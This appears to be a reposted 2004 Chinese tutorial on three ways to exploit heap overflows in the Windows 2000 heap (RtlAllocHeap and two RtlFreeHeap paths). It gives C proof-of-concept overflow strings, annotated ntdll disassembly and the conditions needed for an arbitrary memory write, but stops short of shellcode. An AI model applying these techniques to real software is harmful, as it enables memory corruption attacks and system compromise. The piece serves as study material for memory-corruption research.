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总结windows下堆溢出的三种利用方式 时间：2004/10/7 18:27:00来源：本站整理作者：蓝点我要评论(0)

总结windows下堆溢出的三种利用方式

1.利用RtlAllocHeap
这是ISNO提到的，看这个例子

main (int argc, char *argv[])
{
char *buf1, *buf2;
char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaax03x00x05x00x00x01x08x00x11x11x11x11x21x21x21x21";

buf1 = (char*)malloc (32); /* 分配两块内存 */
memcpy (buf1, s, 32+16); /* 这里多复制16个字节 */

buf2 = (char*)malloc (16);

free (buf1);
free (buf2);

return 0;
}

在给buf1完成malloc之后，返回的地址(buf1)是个指针，指向的内存分配情况是这样

buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes)

在给buf2完成malloc之后，buf1指向的内存分配情况是这样

buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|buf2的管理结构(8bytes)|buf2真正可操作空间(16bytes)|两个双链表指针(8bytes)

现在如果在buf2分配空间之前，buf1的memcpy操作溢出，并且覆盖了
下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes)
共16个字节的时候，就会造成buf2的RtlAllocHeap操作异常。原因看RtlAllocHeap的这段代码

001B:77FCC453 8901 MOV [ECX],EAX
001B:77FCC455 894804 MOV [EAX+04],ECX

此时ECX指向两个双链表指针(8bytes)的后一个指针(0x21212121)，EAX指向前一个指针(0x11111111)。类似于format string溢出，可以写任意数据到任意地址，这种情况比较简单，前提是在buf2分配空间之前buf1有溢出的机会

2.利用RtlFreeHeap的方式一
这是ilsy提到的，看例子

main (int argc, char *argv[])
{
char *buf1, *buf2;
char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaax03x00x05x00x00x09";

buf1 = (char*)malloc (32); /* 分配两块内存 */
buf2 = (char*)malloc (16);

memcpy (buf1, s, 32+6); /* 这里多复制6个字节 */

free (buf1);
free (buf2);

return 0;
}

由于buf1多复制了6个字节，这6个字节会覆盖掉buf2的管理结构，在free(buf2)时会发生异常。只要我们精心构造这个6个字节就可以达到目的

先看看8字节管理结构的定义（从windows源码中找到）
typedef struct _HEAP_ENTRY {

//
// This field gives the size of the current block in allocation
// granularity units. (i.e. Size << HEAP_GRANULARITY_SHIFT
// equals the size in bytes).
//
// Except if this is part of a virtual alloc block then this
// value is the difference between the commit size in the virtual
// alloc entry and the what the user asked for.
//

USHORT Size;

//
// This field gives the size of the previous block in allocation
// granularity units. (i.e. PreviousSize << HEAP_GRANULARITY_SHIFT
// equals the size of the previous block in bytes).
//

USHORT PreviousSize;

//
// This field contains the index into the segment that controls
// the memory for this block.
//

UCHAR SegmentIndex;

//
// This field contains various flag bits associated with this block.
// Currently these are:
//
// 0x01 - HEAP_ENTRY_BUSY
// 0x02 - HEAP_ENTRY_EXTRA_PRESENT
// 0x04 - HEAP_ENTRY_FILL_PATTERN
// 0x08 - HEAP_ENTRY_VIRTUAL_ALLOC
// 0x10 - HEAP_ENTRY_LAST_ENTRY
// 0x20 - HEAP_ENTRY_SETTABLE_FLAG1
// 0x40 - HEAP_ENTRY_SETTABLE_FLAG2
// 0x80 - HEAP_ENTRY_SETTABLE_FLAG3
//

UCHAR Flags;

//
// This field contains the number of unused bytes at the end of this
// block that were not actually allocated. Used to compute exact
// size requested prior to rounding requested size to allocation
// granularity. Also used for tail checking purposes.
//

UCHAR UnusedBytes;

//
// Small (8 bit) tag indexes can go here.
//

UCHAR SmallTagIndex;

#if defined(_WIN64)
ULONGLONG Reserved1;
#endif

} HEAP_ENTRY, *PHEAP_ENTRY;

就是

本堆的size(2bytes)|上一个堆的size(2bytes)|index(1byte)|flag(1byte)|unusedbytes(1byte)|smalltagindex(1byte)

注意这里的size是实际大小进行8字节对齐后除以8的值
可以看看flag的各个定义

再看看RtlFreeHeap里面几个关键的地方

关键点一
001B:77FCC829 8A4605 MOV AL,[ESI+05] //esi指向buf2的8字节管理结构的起始地址，al即flag
001B:77FCC82C A801 TEST AL,01 //flag值是否含有HEAP_ENTRY_BUSY
001B:77FCC82E 0F84A40E0000 JZ 77FCD6D8 //不含则跳转。这里不能跳
001B:77FCC834 F6C207 TEST DL,07
001B:77FCC837 0F859B0E0000 JNZ 77FCD6D8
001B:77FCC83D 807E0440 CMP BYTE PTR [ESI+04],40 //esi+4是否大于0x40
001B:77FCC841 0F83910E0000 JAE 77FCD6D8 //大于等于则跳转，这里不能跳
001B:77FCC847 834DFCFF OR DWORD PTR [EBP-04],-01
001B:77FCC84B A8E0 TEST AL,E0 //flag是否含有HEAP_ENTRY_SETTABLE_FLAG1 2 3
001B:77FCC84D 754A JNZ 77FCC899 //只要含有一个就跳，这里不重要
001B:77FCC84F 8B8F80050000 MOV ECX,[EDI+00000580]
001B:77FCC855 85C9 TEST ECX,ECX
001B:77FCC857 7440 JZ 77FCC899 //这里必然会跳

关键点二
001B:77FCC899 C745FC01000000 MOV DWORD PTR [EBP-04],00000001
001B:77FCC8A0 F6C301 TEST BL,01
001B:77FCC8A3 750F JNZ 77FCC8B4 //这里必然会跳
001B:77FCC8A5 FFB778050000 PUSH DWORD PTR [EDI+00000578]
001B:77FCC8AB E853C8FBFF CALL ntdll!RtlEnterCriticalSection
001B:77FCC8B0 C645D401 MOV BYTE PTR [EBP-2C],01
001B:77FCC8B4 F6460508 TEST BYTE PTR [ESI+05],08 //flag是否含HEAP_ENTRY_VIRTUAL_ALLOC
001B:77FCC8B8 0F858BF2FFFF JNZ 77FCBB49 //含有则跳，这里要跳

关键点三
001B:77FCBB49 83C6E8 ADD ESI,-18 //ilsy说在不同的windows版本上这个0x18的是不同的
001B:77FCBB4C 89759C MOV [EBP-64],ESI
001B:77FCBB4F 8B06 MOV EAX,[ESI]
001B:77FCBB51 894598 MOV [EBP-68],EAX
001B:77FCBB54 8B7604 MOV ESI,[ESI+04]
001B:77FCBB57 897594 MOV [EBP-6C],ESI
001B:77FCBB5A 8906 MOV [ESI],EAX //这里会操作异常

我们看到最后操作异常的时候EAX=0X61616161,ESI=0X61616161,正好是buf1里的值，就是将buf2的起始地址减去0x18的地址的数据复制到之后

的数据所指向的地址。我们可以控制这两个数据。
可见第二种方式的前提有三个：
1)构造堆（buf2）的flag必须含有HEAP_ENTRY_BUSY和HEAP_ENTRY_VIRTUAL_ALLOC，可以设成0xff
2)构造堆的flag前面那个字节要比0x40小
3)构造堆的上一个堆（即buf1）的长度必须大于或等于0x18+0x08即32个字节，否则在关键点三处，ESI会指向我们不能控制的区域，造成利用失败
还有ilsy提到字节构造的8字节管理结构的第一个字节必须大于0x80，在我的机器上并没有必要(windows2000pro cn+sp4)，他用0x99，我用0x03，也能成功利用

3.利用RtlFreeHeap的方式二

这是我研究堆溢出发现的第一种异常情况，之前不明就里，花了2个小时看了几篇帖子之后，认为这是unlink本堆块时发生的异常。
看例子

main (int argc, char *argv[])
{
char *buf1, *buf2;
char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaax03x00x05x00x00x00x08x00x11x11x11x11x22x22x22x22";

buf1 = (char*)malloc (32); /* 分配两块内存 */
buf2 = (char*)malloc (16);

memcpy (buf1, s, 32+16); /* 这里多复制16个字节 */

free (buf1);
free (buf2);

return 0;
}

看起来和方式二很象，不过运行之后会发现，不同于上面提到的，这里在free(buf1)时就出现异常。同样再看看RtlFreeHeap的几个关键点

关键点一
同方式二的关键点一，设法跳到关键点二

关键点二
001B:77FCC899 C745FC01000000 MOV DWORD PTR [EBP-04],00000001
001B:77FCC8A0 F6C301 TEST BL,01
001B:77FCC8A3 750F JNZ 77FCC8B4
001B:77FCC8A5 FFB778050000 PUSH DWORD PTR [EDI+00000578]
001B:77FCC8AB E853C8FBFF CALL ntdll!RtlEnterCriticalSection
001B:77FCC8B0 C645D401 MOV BYTE PTR [EBP-2C],01
001B:77FCC8B4 F6460508 TEST BYTE PTR [ESI+05],08 //flag是否含HEAP_ENTRY_VIRTUAL_ALLOC
001B:77FCC8B8 0F858BF2FFFF JNZ 77FCBB49 //含有则跳，这里不能跳
001B:77FCC8BE 0FB706 MOVZX EAX,WORD PTR [ESI]
001B:77FCC8C1 8945D0 MOV [EBP-30],EAX
001B:77FCC8C4 F6470C80 TEST BYTE PTR [EDI+0C],80
001B:77FCC8C8 7515 JNZ 77FCC8DF
001B:77FCC8CA 6A00 PUSH 00
001B:77FCC8CC 8D45D0 LEA EAX,[EBP-30]
001B:77FCC8CF 50 PUSH EAX
001B:77FCC8D0 56 PUSH ESI
001B:77FCC8D1 57 PUSH EDI
001B:77FCC8D2 E8EA000000 CALL 77FCC9C1 //进入这个CALL

关键点三
001B:77FCC9C1 55 PUSH EBP
001B:77FCC9C2 8BEC MOV EBP,ESP
001B:77FCC9C4 53 PUSH EBX
001B:77FCC9C5 56 PUSH ESI
001B:77FCC9C6 8B750C MOV ESI,[EBP+0C]
001B:77FCC9C9 8B5D08 MOV EBX,[EBP+08]
001B:77FCC9CC 57 PUSH EDI
001B:77FCC9CD 8BFE MOV EDI,ESI //ESI指向buf1的起始地址
001B:77FCC9CF 0FB74602 MOVZX EAX,WORD PTR [ESI+02] //将buf1之前的堆的长度放入EAX
001B:77FCC9D3 C1E003 SHL EAX,03 //乘以8得到实际大小
001B:77FCC9D6 2BF8 SUB EDI,EAX //EDI指向buf1之前的堆的起始地址
001B:77FCC9D8 3BFE CMP EDI,ESI
001B:77FCC9DA 740A JZ 77FCC9E6
001B:77FCC9DC F6470501 TEST BYTE PTR [EDI+05],01 //上一个堆的flag是否含HEAP_ENTRY_BUSY
001B:77FCC9E0 0F8498E9FFFF JZ 77FCB37E //不能跳
001B:77FCC9E6 F6460510 TEST BYTE PTR [ESI+05],10 //上一个堆的flag是否含HEAP_ENTRY_LAST_ENTRY
001B:77FCC9EA 750F JNZ 77FCC9FB //不能跳
001B:77FCC9EC 8B4510 MOV EAX,[EBP+10]
001B:77FCC9EF 8B00 MOV EAX,[EAX] //buf1的堆的长度
001B:77FCC9F1 F644C60501 TEST BYTE PTR [EAX*8+ESI+05],01 //buf2的堆的flag是否含HEAP_ENTRY_BUSY
001B:77FCC9F6 8D3CC6 LEA EDI,[EAX*8+ESI] //EDI指向buf2的起始地址
001B:77FCC9F9 7409 JZ 77FCCA04 //不含则跳（合并空闲堆？），这里要跳
001B:77FCC9FB 8BC6 MOV EAX,ESI
001B:77FCC9FD 5F POP EDI
001B:77FCC9FE 5E POP ESI
001B:77FCC9FF 5B POP EBX
001B:77FCCA00 5D POP EBP
001B:77FCCA01 C21000 RET 0010
001B:77FCCA04 0FB70F MOVZX ECX,WORD PTR [EDI] //ECX即buf2的堆的长度
001B:77FCCA07 03C8 ADD ECX,EAX //加上buf1的堆的长度
001B:77FCCA09 81F900FE0000 CMP ECX,0000FE00 //是否大于0xfe00
001B:77FCCA0F 77EA JA 77FCC9FB //大于则跳，这里不能跳
001B:77FCCA11 807D1400 CMP BYTE PTR [EBP+14],00
001B:77FCCA15 0F85FB210000 JNZ 77FCEC16
001B:77FCCA1B 8A4705 MOV AL,[EDI+05] //AL即buf2的flag
001B:77FCCA1E 2410 AND AL,10 //是否含HEAP_ENTRY_LAST_ENTRY
001B:77FCCA20 A810 TEST AL,10
001B:77FCCA22 884605 MOV [ESI+05],AL //将buf1的flag置为HEAP_ENTRY_LAST_ENTRY
001B:77FCCA25 754B JNZ 77FCCA72 //含则跳，这里不能跳
001B:77FCCA27 57 PUSH EDI
001B:77FCCA28 53 PUSH EBX
001B:77FCCA29 E80CCBFBFF CALL 77F8953A
001B:77FCCA2E 8B4F0C MOV ECX,[EDI+0C] //将buf2的0x0c偏移给ECX
001B:77FCCA31 8B4708 MOV EAX,[EDI+08] //将buf2的0x08偏移给EAX
001B:77FCCA34 3BC1 CMP EAX,ECX
001B:77FCCA36 8901 MOV [ECX],EAX //这里发生异常
001B:77FCCA38 894804 MOV [EAX+04],ECX

方式三和方式二都是利用RtlFreeHeap函数，它们的分岔口在于关键点二的

001B:77FCC8B8 0F858BF2FFFF JNZ 77FCBB49

方式二在这里要跳，方式三不能跳，从而进入下面的CALL(关键点三)
发生异常时ECX=0x22222222,EAX=0x11111111，这是我们能控制的。
可见方式三的前提有三个
1)构造堆（buf2）的长度不能为0
2)构造堆的上一个堆（buf1）和构造堆的长度相加不能大于0xfe00(div8之后)
3）构造堆的flag不能包含HEAP_ENTRY_BUSY

除了以上三种利用方式还有一种，和方式三差不多，不过是在free(buf2)时发生异常，应该是由于在合并下一个堆时长度计算错误造成的，具体就不分析了，类似于linux下的堆溢出，不过windows下不能将堆长度设为负数，造成一定的麻烦，sign

溢出之后的事情就不再说了。写这些主要为了分析总结一些东西，希望对初学者有帮助，不当之处请指正。

//更正一下，以上程序在.net平台下编译有效，VC++6.0编译是不能溢出的。可能是两种编译器对malloc的实现方式不同。vc的编译器实现malloc的时候并没有真正调用RtlFreeHeap或RtlAllocHeap函数，造成溢出失败。改成HeapAlloc就可以了

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